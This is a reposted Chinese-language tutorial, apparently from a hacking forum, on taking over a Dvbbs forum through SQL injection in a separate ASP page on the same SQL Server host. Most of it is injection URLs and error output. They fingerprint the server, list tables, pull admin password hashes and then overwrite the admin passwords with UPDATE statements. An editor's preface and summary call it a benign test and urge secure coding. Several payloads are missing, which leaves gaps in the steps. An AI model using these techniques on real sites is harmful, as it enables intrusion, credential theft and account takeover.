SQL注入入侵動網站(MSSQL)

來源:互聯網
上載者:User

編輯前言:

  這個文章我沒有測試,但前提條件還是很多,比如一定要有別的程式存在,而且也要用同一個sqlserver庫,還得假設有注入漏洞。說到底和動網沒有什麼關係,但因為動網論壇的開放性,讓人熟悉了其資料庫結構,和程式運作方法。在一步步的攻擊中取得系統管理權限,再一步步的提升許可權,如果正好資料庫用的是sa帳號,就更是麻煩了。

  正是由於這些條件的假設,所以大家也不用太緊張,這裡提供的是很多理想狀態下的入侵行為,在編程中減少安全性漏洞是我們每個程式員要注意的。而站長在組合使用多個程式的時候,也要注意安全和程式的完整性。

  在我所瞭解的多個動網7.0 sp2 的版本也有2-3次被黑現象,所以大家還要及時注意升級,詳細進行使用權限設定。並不是說動網不好,而是說他程式的開放性,用的人很多,找出來的bug會很多,軟體學裡說了,用的越多,bug會越多。相對來說,我喜歡自己定製化開發的程式,相對來說會安全一些。

下面是六中男孩的本文

  現在動網最新版本是7.0 sp2。應該說安全性已經是很高的了。所以從指令碼本身的問題去突破它難度不小。但是我們可以從外部的一些途徑間接“搞定”動網.現在iis asp sql2000的組合是比較常見的。而一個網站運用大量的asp指令碼程式,難免不出紕漏。如果一台主機上存在某個sql注入點,而這台主機又安裝有動網sql版的話,基本上可以得出結論:這個動網就是你的了。下面來看一下執行個體。

  一、 首先確定目標。假設以下url存在sql注入:

 

 程式碼:

 

http://www.loveyou.com/type.asp?id=6 測試能否注入可以在6後面加個單引號。

返回錯誤提示:

ole db provider for odbc drivers 錯誤 80040e14

[][odbc sql server driver][sql server]字串 之前有未閉合的引號。

  繼續,先探測一下系統版本:

 

 程式碼:

 

http://www.loveyou.com/type.asp?id=(select @@version)--

返回: ole db provider for odbc drivers 錯誤 80040e07

[][odbc sql server driver][sql server]將 nvarchar 值 sql server 2000 - 8.00.760 ( x86) dec 17 2002 14:22:05 copyright (c) 1988-2003 corporation standard edition on windows nt 5.0 (build 2195: service pack 4) 轉換為資料類型為 int 的列時發生語法錯誤。

看來已經打上最新的sp4補丁。

  取得當前串連資料庫使用者:

 

 程式碼:

 

http://www.loveyou.com/type.asp?id=(select user_name())--

返回: ole db provider for odbc drivers 錯誤 80040e07

[][odbc sql server driver][sql server]將 nvarchar 值 webuser 轉換為資料類型為 int 的列時發生語法錯誤。

從錯誤資訊中得到當前資料庫使用者為:webuser

  取得當前串連資料庫名:

 

 程式碼:

 

http://www.loveyou.com/type.asp?id=(select db_name())--

返回: ole db provider for odbc drivers 錯誤 80040e07

[][odbc sql server driver][sql server]將 nvarchar 值 01city 轉換為資料類型為 int 的列時發生語法錯誤。

從錯誤資訊中得到當前資料庫名為: 01city

  接下來測試下許可權:(註:因為我們的目的是搞定動網而不是侵佔系統。所以資料庫許可權對我們不是很重要。)


 程式碼:

 

http://www.loveyou.com/type.asp?id=(select is_srvrolemember(sysadmin))--

返回錯誤資訊。提示目前記錄已刪除。看來許可權果然不是很高耶。繼續,

正常顯示資訊,看來串連資料庫擁有的許可權是db_owner(down資料庫擁有者。但對操縱資料是綽綽有餘了。

  二.得到資料庫表名。不出意外的話動網的各個表就存在於當前資料庫01city中。

  首先得到第一個表:

 

 程式碼:

 

http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype=u and status>0 and name not in())--

返回:[][odbc sql server driver][sql server]將 nvarchar 值 address 轉換為資料類型為 int 的列時發生語法錯誤。

好的,第一個表名出來了,為: address

繼續,

返回: admin 第二個表名也出來了。依次類推, 提交:

,admin,...))--

  可以得到當前資料庫中所有表名。

  不一會兒,結果出來了, 表名好眼熟啊。

address,admin,bbslink,bbsnews,board,user.........傻瓜都看的出這是動網的表。當然還有其它的一些表,我們不去管它。

  接下來就好辦了,也不要去猜欄位了,我們開啟自己的動網資料庫看一下就知道了。 既然有了表名,欄位名,那麼,動網不就在你掌握之下了嗎? 但千萬不要 drop table啊。 破壞就不好了。我們的目的是演練技術,提高水平。 好,那麼,我們去得到動網的後台。

  三、進入後台,取得動網論壇管理員權限。


 

 

 程式碼:

 


先看看後台有多少個管理員:

返回錯誤: 當前的記錄已被刪除。說明管理員少於4位。直接提交,

正常顯示資訊,看來管理員只有一個,讀出管理員名字,

出來了,管理員後台登陸名為: 01city

繼續讀出管理員後台登陸密碼:

很順利,密碼為: e7cc01be0e33a273

是md5加密過的。難道要去破解它嗎? 別急,根本不需要去破md5密碼。

由於動網後台管理是cookie session認證。所以只有管理員在前台登陸才可以進後台管理,一般使用者是無法進後台管理的。即使後台使用者和密碼都知道的情況下也一樣。所以我們還要取得前台管理的使用者和密碼。 這個很容易,在他論壇註冊一個使用者查看一下管理團隊,得出,前台系統管理使用者為: admin

  好,得到他的密碼:

 

 

 程式碼:

 

http://www.loveyou.com/type.asp?id=(select userpassword from user where username=admin)--

返回,admin的前台密碼為:e7cc01be0e33a273

同樣是md5的。 現在利用cookie欺騙可以登陸它的前台管理了。但是還有別的辦法嗎?別忘了現在我們可是對它的資料庫擁有生殺大權哦。聰明的你可能想到了,對 ,就是,update。 我們來提交:

;--

正常返回資訊,應該成功執行了,查看一下:

傳回值為: 49ba59abbe56e057

更改密碼成功,說明一下,這個16位md5是預先算好的。你要知道它的純文字密碼。

那麼同樣的,我們更改一下背景管理密碼.先把後台使用者改成和前台使用者一樣的,提交:

查看一下:

 

 程式碼:

 

http://www.loveyou.com/type.asp?id=(select username from admin)--

更改成功,後台管理員現在已變成:admin 接下來更改密碼,提交:


 查看一下:

 

 程式碼:

 

http://www.loveyou.com/type.asp?id=(select password from admin)--

更改成功,後台管理員密碼已經變成:49ba59abbe56e057

到這裡為止,動網已徹底淪陷。你可以用admin登陸前台然後再用相同的密碼進後台管理了。

四、總結

  就這樣並不算太艱難的實現了對動網的控制。通過這次善意的滲透測試,也暴露出sql injection攻擊的可怕性。而對於iis asp sql2000的虛擬機器主機來說簡直就是防不勝防。只要主機上有一個sql注入點的話,動網就將面臨滅頂之災了。而其實從伺服器龐大的網站程式中找一個這樣的sql注入點並不算難事.正應徵了一句老話:千裡之堤,潰於蟻穴。所以防範這樣的攻擊的最好辦法是加強程式碼的安全性。安全是個整體,任何細微的錯誤都有可能導致嚴重後果

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.